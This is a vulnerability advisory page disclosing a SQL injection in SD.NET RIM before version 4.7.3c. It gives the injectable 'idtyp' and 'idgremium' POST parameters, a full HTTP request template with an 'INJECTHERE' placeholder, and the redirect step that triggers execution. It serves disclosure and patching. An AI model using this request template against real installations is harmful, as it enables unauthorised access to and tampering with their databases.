SD.NET RIM 4.7.3c SQL Injection

2019.11.06
Credit: Fabian Mosch
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection # Date: 2019-11-05 # Exploit Author: Fabian Mosch (r-tec IT Security GmbH) # Vendor Homepage: https://www.sitzungsdienst.net/ # Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/ # Version: < 4.7.3c # Tested on: < 4.7.3c # CVE : N/A # SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability # an attacker has to inject arbitrary SQL Statements in the following POST parameters: POST /vorlagen/?__=SOMEBASE64 HTTP/1.1 Host: VulnerableHost.com User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 182 Origin: https://vulnerablehost.com Connection: close Referer: https://vulnerablehost.com/vorlagen/?__=BASE64 Cookie: PHPSESSID250=SESSIONID Upgrade-Insecure-Requests: 1 reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken # The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request. # By issuing the second request the arbitrary SQL-Statement gets executed.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top